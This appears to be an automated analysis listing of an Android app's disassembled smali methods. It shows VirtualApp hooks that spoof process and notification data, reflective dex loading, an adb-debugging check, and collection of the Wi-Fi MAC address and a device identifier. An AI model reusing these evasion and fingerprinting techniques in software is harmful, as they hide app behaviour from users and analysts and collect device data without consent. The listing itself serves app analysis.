                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v7, 0x0
                              2const/4 v6, 0x0
                              3aget-object v0, p3, v6
                              4check-cast v0, Ljava/lang/String;
                              6invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotification;->getHostPkg()Ljava/lang/String;
                              7move-result-object v1
                              9invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              10move-result v1
                              11if-eqz v1, :cond_15
                              13invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              14move-result-object v0
                              15goto_14: return-object v0
                              16cond_15: const-class v1, Landroid/app/Notification;
                              18invoke-static {p3, v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              19move-result v2
                              20const-class v1, Ljava/lang/Integer;
                              22invoke-static {p3, v1}, Lcom/lody/virtual/helper/utils/ArrayUtils;->indexOfFirst([Ljava/lang/Object;Ljava/lang/Class;)I
                              23move-result v3
                              24aget-object v1, p3, v3
                              25check-cast v1, Ljava/lang/Integer;
                              27invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              28move-result v1
                              30invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              31move-result-object v4
                              33invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotification;->getAppUserId()I
                              34move-result v5
                              36invoke-virtual {v4, v1, v0, v7, v5}, Lcom/lody/virtual/client/ipc/VNotificationManager;->dealNotificationId(ILjava/lang/String;Ljava/lang/String;I)I
                              37move-result v4
                              39invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              40move-result-object v1
                              41aput-object v1, p3, v3
                              42aget-object v1, p3, v2
                              43check-cast v1, Landroid/app/Notification;
                              45invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              46move-result-object v2
                              48invoke-virtual {v2, v4, v1, v0}, Lcom/lody/virtual/client/ipc/VNotificationManager;->dealNotification(ILandroid/app/Notification;Ljava/lang/String;)Z
                              49move-result v1
                              50if-nez v1, :cond_4e
                              52invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              53move-result-object v0
                              54goto/16 :goto_14
                              55cond_4e:
                              56invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              57move-result-object v1
                              59invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotification;->getAppUserId()I
                              60move-result v2
                              62invoke-virtual {v1, v4, v7, v0, v2}, Lcom/lody/virtual/client/ipc/VNotificationManager;->addNotification(ILjava/lang/String;Ljava/lang/String;I)V
                              64invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$EnqueueNotification;->getHostPkg()Ljava/lang/String;
                              65move-result-object v0
                              66aput-object v0, p3, v6
                              68invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              69move-result-object v0
                              70goto/16 :goto_14
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              • java.util.List.size
                              • java.util.List.toArray
                              Position Instruction Meta Information
                              0.prologue
                              1monitor-enter p0
                              2try_start_1:
                              3invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              4move-result-object v0
                              5check-cast v0, Ljava/util/List;
                              6if-eqz v0, :cond_5f
                              8invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              9move-result-object v3
                              10goto_d:
                              11invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              12move-result v1
                              13if-eqz v1, :cond_5f
                              15invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              16move-result-object v1
                              17check-cast v1, Landroid/app/ActivityManager$RunningAppProcessInfo;
                              19invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              20move-result-object v2
                              21iget v4, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                              23invoke-virtual {v2, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->isAppPid(I)Z
                              24move-result v2
                              25if-eqz v2, :cond_d
                              27invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              28move-result-object v2
                              29iget v4, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                              31invoke-virtual {v2, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->getProcessPkgList(I)Ljava/util/List;
                              32move-result-object v2
                              34invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              35move-result-object v4
                              36iget v5, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                              38invoke-virtual {v4, v5}, Lcom/lody/virtual/client/ipc/VActivityManager;->getAppProcessName(I)Ljava/lang/String;
                              39move-result-object v4
                              40if-eqz v4, :cond_3d
                              41iput-object v4, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                              42cond_3d:
                              43invoke-interface {v2}, Ljava/util/List;->size()I
                              44move-result v4
                              45new-array v4, v4, [Ljava/lang/String;
                              47invoke-interface {v2, v4}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                              48move-result-object v2
                              49check-cast v2, [Ljava/lang/String;
                              50iput-object v2, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->pkgList:[Ljava/lang/String;
                              52invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              53move-result-object v2
                              54iget v4, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                              56invoke-virtual {v2, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->getUidByPid(I)I
                              57move-result v2
                              59invoke-static {v2}, Lcom/lody/virtual/os/VUserHandle;->getAppId(I)I
                              60move-result v2
                              61iput v2, v1, Landroid/app/ActivityManager$RunningAppProcessInfo;->uid:I
                              62try_end_5b: goto/16 :goto_d
                              63catchall_5c: move-exception v0
                              64monitor-exit p0
                              65throw v0
                              66cond_5f: monitor-exit p0
                              67return-object v0
                              Cross References
                              APIs
                              • com.lody.virtual.DelegateApplication64Bit.findMethod
                              • java.lang.reflect.Method.invoke
                              • com.lody.virtual.DelegateApplication64Bit.findMethod
                              Strings
                              • makePathElements
                              • makeDexElements
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Object;",
                              4"Ljava/util/ArrayList",
                              5"<",
                              6"Ljava/io/File;",
                              7">;",
                              8"Ljava/util/ArrayList",
                              9"<",
                              10"Ljava/io/IOException;",
                              11">;)[",
                              12"Ljava/lang/Object;"
                              13}
                              14.end annotation
                              15.prologue
                              16const/4 v6, 0x3
                              17const/4 v5, 0x2
                              18const/4 v4, 0x1
                              19const/4 v3, 0x0
                              20sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              21const/16 v1, 0x17
                              22if-lt v0, v1, :cond_30
                              24const-string v0, "makePathElements"
                              25new-array v1, v6, [Ljava/lang/Class;
                              26const-class v2, Ljava/util/List;
                              27aput-object v2, v1, v3
                              28const-class v2, Ljava/io/File;
                              29aput-object v2, v1, v4
                              30const-class v2, Ljava/util/List;
                              31aput-object v2, v1, v5
                              33invoke-static {p0, v0, v1}, Lcom/lody/virtual/DelegateApplication64Bit;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              34move-result-object v0
                              35goto_1e: new-array v1, v6, [Ljava/lang/Object;
                              36aput-object p1, v1, v3
                              37const/4 v2, 0x0
                              38aput-object v2, v1, v4
                              39aput-object p2, v1, v5
                              41invoke-virtual {v0, p0, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              42move-result-object v0
                              43check-cast v0, [Ljava/lang/Object;
                              44check-cast v0, [Ljava/lang/Object;
                              45return-object v0
                              46cond_30:
                              47const-string v0, "makeDexElements"
                              48new-array v1, v6, [Ljava/lang/Class;
                              49const-class v2, Ljava/util/ArrayList;
                              50aput-object v2, v1, v3
                              51const-class v2, Ljava/io/File;
                              52aput-object v2, v1, v4
                              53const-class v2, Ljava/util/ArrayList;
                              54aput-object v2, v1, v5
                              56invoke-static {p0, v0, v1}, Lcom/lody/virtual/DelegateApplication64Bit;->findMethod(Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              57move-result-object v0
                              58goto/16 :goto_1e
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              Strings
                              • Virtual
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v1
                              5invoke-static {p2}, Lcom/lody/virtual/helper/compat/ParceledListSliceCompat;->isReturnParceledListSlice(Ljava/lang/reflect/Method;)Z
                              6move-result v0
                              7if-eqz v0, :cond_3e
                              9sget-object v0, Lmirror/android/content/pm/ParceledListSlice;->getList:Lmirror/RefMethod;
                              10const/4 v2, 0x0
                              11new-array v2, v2, [Ljava/lang/Object;
                              13invoke-virtual {v0, v1, v2}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              14move-result-object v0
                              15check-cast v0, Ljava/util/List;
                              16goto_15:
                              17invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              18move-result-object v2
                              19cond_19:
                              20invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                              21move-result v0
                              22if-eqz v0, :cond_42
                              24invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              25move-result-object v0
                              26check-cast v0, Landroid/app/ActivityManager$RunningTaskInfo;
                              28invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              29move-result-object v3
                              30iget v4, v0, Landroid/app/ActivityManager$RunningTaskInfo;->id:I
                              32invoke-virtual {v3, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->getTaskInfo(I)Lcom/lody/virtual/remote/AppTaskInfo;
                              33move-result-object v3
                              34if-eqz v3, :cond_19
                              36const-string v4, "Virtual"
                              37iput-object v4, v0, Landroid/app/ActivityManager$RunningTaskInfo;->description:Ljava/lang/CharSequence;
                              39iget-object v4, v3, Lcom/lody/virtual/remote/AppTaskInfo;->topActivity:Landroid/content/ComponentName;
                              40iput-object v4, v0, Landroid/app/ActivityManager$RunningTaskInfo;->topActivity:Landroid/content/ComponentName;
                              42iget-object v3, v3, Lcom/lody/virtual/remote/AppTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              43iput-object v3, v0, Landroid/app/ActivityManager$RunningTaskInfo;->baseActivity:Landroid/content/ComponentName;
                              44goto/16 :goto_19
                              45cond_3e: move-object v0, v1
                              46check-cast v0, Ljava/util/List;
                              47goto/16 :goto_15
                              48cond_42: return-object v1
                              Cross References
                              APIs
                              • java.util.ArrayList.size
                              • java.util.ArrayList.size
                              • java.util.ArrayList.get
                              • android.accounts.Account.name:Ljava/lang/String
                              • java.util.ArrayList.size
                              Strings
                              • Add account
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/util/ArrayList",
                              4"<",
                              5"Landroid/accounts/Account;",
                              6">;)[",
                              7"Ljava/lang/String;"
                              8}
                              9.end annotation
                              10.prologue
                              12invoke-virtual {p1}, Ljava/util/ArrayList;->size()I
                              13move-result v0
                              14add-int/lit8 v0, v0, 0x1
                              15new-array v2, v0, [Ljava/lang/String;
                              16const/4 v0, 0x0
                              17move v1, v0
                              18goto_a:
                              19invoke-virtual {p1}, Ljava/util/ArrayList;->size()I
                              20move-result v0
                              21if-ge v1, v0, :cond_1e
                              23invoke-virtual {p1, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                              24move-result-object v0
                              25check-cast v0, Landroid/accounts/Account;
                              27iget-object v0, v0, Landroid/accounts/Account;->name:Ljava/lang/String;
                              28aput-object v0, v2, v1
                              29add-int/lit8 v0, v1, 0x1
                              30move v1, v0
                              31goto/16 :goto_a
                              32cond_1e:
                              33invoke-virtual {p1}, Ljava/util/ArrayList;->size()I
                              34move-result v0
                              36const-string v1, "Add account"
                              37aput-object v1, v2, v0
                              38return-object v2
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.InvocationTargetException.getCause
                              • java.lang.reflect.InvocationTargetException.getCause
                              • java.lang.Throwable.printStackTrace
                              • java.lang.reflect.InvocationTargetException.printStackTrace
                              • java.lang.Throwable.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Object;",
                              4"[",
                              5"Ljava/lang/Object;",
                              6")TT;"
                              7}
                              8.end annotation
                              9.prologue
                              10try_start_0:
                              11iget-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              13invoke-virtual {v0, p1, p2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              14try_end_5: move-result-object v0
                              15goto_6: return-object v0
                              16catch_7: move-exception v0
                              18invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              19move-result-object v1
                              20if-eqz v1, :cond_17
                              22invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                              23move-result-object v0
                              25invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              26goto_15: const/4 v0, 0x0
                              27goto/16 :goto_6
                              28cond_17:
                              29invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                              30goto/16 :goto_15
                              31catch_1b: move-exception v0
                              33invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              34goto/16 :goto_15
                              APIs
                              • java.lang.Class.forName
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              Strings
                              • com.ut.device.UTDevice
                              • getUtdid
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "com.ut.device.UTDevice"
                              4invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              5move-result-object v0
                              7const-string v1, "getUtdid"
                              8const/4 v2, 0x1
                              9new-array v2, v2, [Ljava/lang/Class;
                              10const/4 v3, 0x0
                              11const-class v4, Landroid/content/Context;
                              12aput-object v4, v2, v3
                              14invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              15move-result-object v0
                              16const/4 v1, 0x0
                              17const/4 v2, 0x1
                              18new-array v2, v2, [Ljava/lang/Object;
                              19const/4 v3, 0x0
                              21iget-object v4, p0, Lb/a/m;->b:Landroid/content/Context;
                              22aput-object v4, v2, v3
                              24invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              25move-result-object v0
                              26check-cast v0, Ljava/lang/String;
                              27goto_23: return-object v0
                              28catch_24: move-exception v0
                              30invoke-direct {p0}, Lb/a/m;->b()Ljava/lang/String;
                              31move-result-object v0
                              32goto/16 :goto_23
                              Cross References
                              APIs
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getInt
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$Secure.getInt
                              Strings
                              • adb_enabled
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x1
                              2const/4 v1, 0x0
                              3sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                              4const/16 v3, 0x11
                              5if-lt v2, v3, :cond_1a
                              7iget-object v2, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              9invoke-virtual {v2}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              10move-result-object v2
                              12const-string/jumbo v3, "adb_enabled"
                              14invoke-static {v2, v3, v1}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
                              15move-result v2
                              16if-lez v2, :cond_18
                              17cond_17: return v0
                              18cond_18: move v0, v1
                              19goto/16 :goto_17
                              20cond_1a:
                              21iget-object v2, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              23invoke-virtual {v2}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              24move-result-object v2
                              26const-string/jumbo v3, "adb_enabled"
                              28invoke-static {v2, v3, v1}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
                              29move-result v2
                              30if-gtz v2, :cond_17
                              31move v0, v1
                              32goto/16 :goto_17
                              Cross References
                              APIs
                              • java.io.File.isFile
                              • java.io.File.delete
                              • java.io.File.isDirectory
                              • java.io.File.listFiles
                              • java.io.File.delete
                              • java.io.File.delete
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p0}, Ljava/io/File;->isFile()Z
                              3move-result v0
                              4if-eqz v0, :cond_a
                              6invoke-virtual {p0}, Ljava/io/File;->delete()Z
                              7goto_9: return-void
                              8cond_a:
                              9invoke-virtual {p0}, Ljava/io/File;->isDirectory()Z
                              10move-result v0
                              11if-eqz v0, :cond_9
                              13invoke-virtual {p0}, Ljava/io/File;->listFiles()[Ljava/io/File;
                              14move-result-object v1
                              15if-eqz v1, :cond_19
                              16array-length v0, v1
                              17if-nez v0, :cond_1d
                              18cond_19:
                              19invoke-virtual {p0}, Ljava/io/File;->delete()Z
                              20goto/16 :goto_9
                              21cond_1d: const/4 v0, 0x0
                              22goto_1e: array-length v2, v1
                              23if-lt v0, v2, :cond_25
                              25invoke-virtual {p0}, Ljava/io/File;->delete()Z
                              26goto/16 :goto_9
                              27cond_25: aget-object v2, v1, v0
                              29invoke-static {v2}, La/a/b/b;->a(Ljava/io/File;)V
                              30add-int/lit8 v0, v0, 0x1
                              31goto/16 :goto_1e
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.Object.getClass
                              • java.lang.Class.getClassLoader
                              • java.lang.Object.getClass
                              • java.lang.Class.getInterfaces
                              • java.lang.reflect.Proxy.newProxyInstance
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              3move-result-object v0
                              4check-cast v0, Landroid/os/IInterface;
                              6invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              7move-result-object v1
                              9invoke-virtual {v1}, Lcom/lody/virtual/client/ipc/VPackageManager;->getPackageInstaller()Lcom/lody/virtual/server/IPackageInstaller;
                              10move-result-object v1
                              12invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              13move-result-object v2
                              15invoke-virtual {v2}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              16move-result-object v2
                              18invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              19move-result-object v0
                              21invoke-virtual {v0}, Ljava/lang/Class;->getInterfaces()[Ljava/lang/Class;
                              22move-result-object v0
                              23new-instance v3, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;
                              25invoke-direct {v3, p0, v1}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller$1;-><init>(Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInstaller;Lcom/lody/virtual/server/IPackageInstaller;)V
                              27invoke-static {v2, v0, v3}, Ljava/lang/reflect/Proxy;->newProxyInstance(Ljava/lang/ClassLoader;[Ljava/lang/Class;Ljava/lang/reflect/InvocationHandler;)Ljava/lang/Object;
                              28move-result-object v0
                              29return-object v0
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getNetworkInfo
                              • android.net.NetworkInfo.isAvailable
                              • android.net.NetworkInfo.isConnected
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v2, 0x0
                              3if-eqz p0, :cond_23
                              5const-string/jumbo v0, "connectivity"
                              7invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              8move-result-object v0
                              9check-cast v0, Landroid/net/ConnectivityManager;
                              11invoke-virtual {v0, v1}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                              12move-result-object v0
                              13if-eqz v0, :cond_23
                              15invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                              16move-result v3
                              17if-eqz v3, :cond_21
                              19invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                              20move-result v0
                              21if-eqz v0, :cond_21
                              22move v0, v1
                              23goto_20: return v0
                              24cond_21: move v0, v2
                              25goto/16 :goto_20
                              26cond_23: move v0, v2
                              27goto/16 :goto_20
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.wifi.WifiManager.getConnectionInfo
                              • android.net.wifi.WifiInfo.getMacAddress
                              Strings
                              • wifi
                              • android.permission.ACCESS_WIFI_STATE
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "wifi"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/net/wifi/WifiManager;
                              8const-string v1, "android.permission.ACCESS_WIFI_STATE"
                              10invoke-static {p0, v1}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              11move-result v1
                              12if-eqz v1, :cond_19
                              14invoke-virtual {v0}, Landroid/net/wifi/WifiManager;->getConnectionInfo()Landroid/net/wifi/WifiInfo;
                              15move-result-object v0
                              17invoke-virtual {v0}, Landroid/net/wifi/WifiInfo;->getMacAddress()Ljava/lang/String;
                              18move-result-object v0
                              19goto_18: return-object v0
                              20cond_19:
                              21const-string v0, ""
                              22try_end_1b: goto/16 :goto_18
                              23catch_1c: move-exception v0
                              25const-string v0, ""
                              26goto/16 :goto_18
                              Cross References
                              APIs
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              • java.lang.Throwable.printStackTrace
                              Strings
                              • onCreate
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v0, p0, Lcom/sdk/entry/LoadVSdk;->instance:Ljava/lang/Object;
                              3if-eqz v0, :cond_1c
                              4try_start_4:
                              5const-string/jumbo v0, "onCreate"
                              7iget-object v1, p0, Lcom/sdk/entry/LoadVSdk;->localClass:Ljava/lang/Class;
                              8const/4 v2, 0x0
                              9new-array v2, v2, [Ljava/lang/Class;
                              11invoke-virtual {v1, v0, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              12move-result-object v0
                              13const/4 v1, 0x1
                              15invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              17iget-object v1, p0, Lcom/sdk/entry/LoadVSdk;->instance:Ljava/lang/Object;
                              18const/4 v2, 0x0
                              19new-array v2, v2, [Ljava/lang/Object;
                              21invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              22try_end_1c: return-void
                              23catch_1d: move-exception v0
                              25invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              26goto/16 :goto_1c
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.isAvailable
                              • android.net.NetworkInfo.isConnected
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2if-eqz p0, :cond_22
                              4const-string/jumbo v0, "connectivity"
                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Landroid/net/ConnectivityManager;
                              10invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              11move-result-object v0
                              12if-eqz v0, :cond_22
                              14invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                              15move-result v2
                              16if-eqz v2, :cond_20
                              18invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                              19move-result v0
                              20if-eqz v0, :cond_20
                              21const/4 v0, 0x1
                              22goto_1f: return v0
                              23cond_20: move v0, v1
                              24goto/16 :goto_1f
                              25cond_22: move v0, v1
                              26goto/16 :goto_1f
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getNetworkInfo
                              • android.net.NetworkInfo.isAvailable
                              • android.net.NetworkInfo.isConnected
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2if-eqz p0, :cond_22
                              4const-string/jumbo v0, "connectivity"
                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              7move-result-object v0
                              8check-cast v0, Landroid/net/ConnectivityManager;
                              10invoke-virtual {v0, v1}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                              11move-result-object v0
                              12if-eqz v0, :cond_22
                              14invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                              15move-result v2
                              16if-eqz v2, :cond_20
                              18invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                              19move-result v0
                              20if-eqz v0, :cond_20
                              21const/4 v0, 0x1
                              22goto_1f: return v0
                              23cond_20: move v0, v1
                              24goto/16 :goto_1f
                              25cond_22: move v0, v1
                              26goto/16 :goto_1f
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.isConnected
                              • android.net.NetworkInfo.getState
                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "connectivity"
                              4invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              5move-result-object v0
                              6check-cast v0, Landroid/net/ConnectivityManager;
                              7if-eqz v0, :cond_21
                              9invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              10move-result-object v0
                              11if-eqz v0, :cond_21
                              13invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
                              14move-result v1
                              15if-eqz v1, :cond_21
                              17invoke-virtual {v0}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                              18move-result-object v0
                              20sget-object v1, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                              21if-ne v0, v1, :cond_21
                              22const/4 v0, 0x1
                              23goto_20: return v0
                              24cond_21: const/4 v0, 0x0
                              25goto/16 :goto_20
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.reflect.Method.invoke
                              Strings
                              • startLoadFromDisk
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              3move-result-object v0
                              5const-string/jumbo v1, "startLoadFromDisk"
                              6const/4 v2, 0x0
                              7new-array v2, v2, [Ljava/lang/Class;
                              9invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              10move-result-object v0
                              11const/4 v1, 0x1
                              13invoke-virtual {v0, v1}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              14const/4 v1, 0x0
                              15new-array v1, v1, [Ljava/lang/Object;
                              17invoke-virtual {v0, p1, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              18try_end_18: return-void
                              19catch_19: move-exception v0
                              21invoke-static {}, Lsdk/nicro/lu/t;->a()Lsdk/nicro/lu/h;
                              22move-result-object v1
                              24invoke-interface {v1, v0}, Lsdk/nicro/lu/h;->a(Ljava/lang/Throwable;)V
                              25goto/16 :goto_18
                              Cross References
                              APIs
                              • android.content.Context.getSystemService
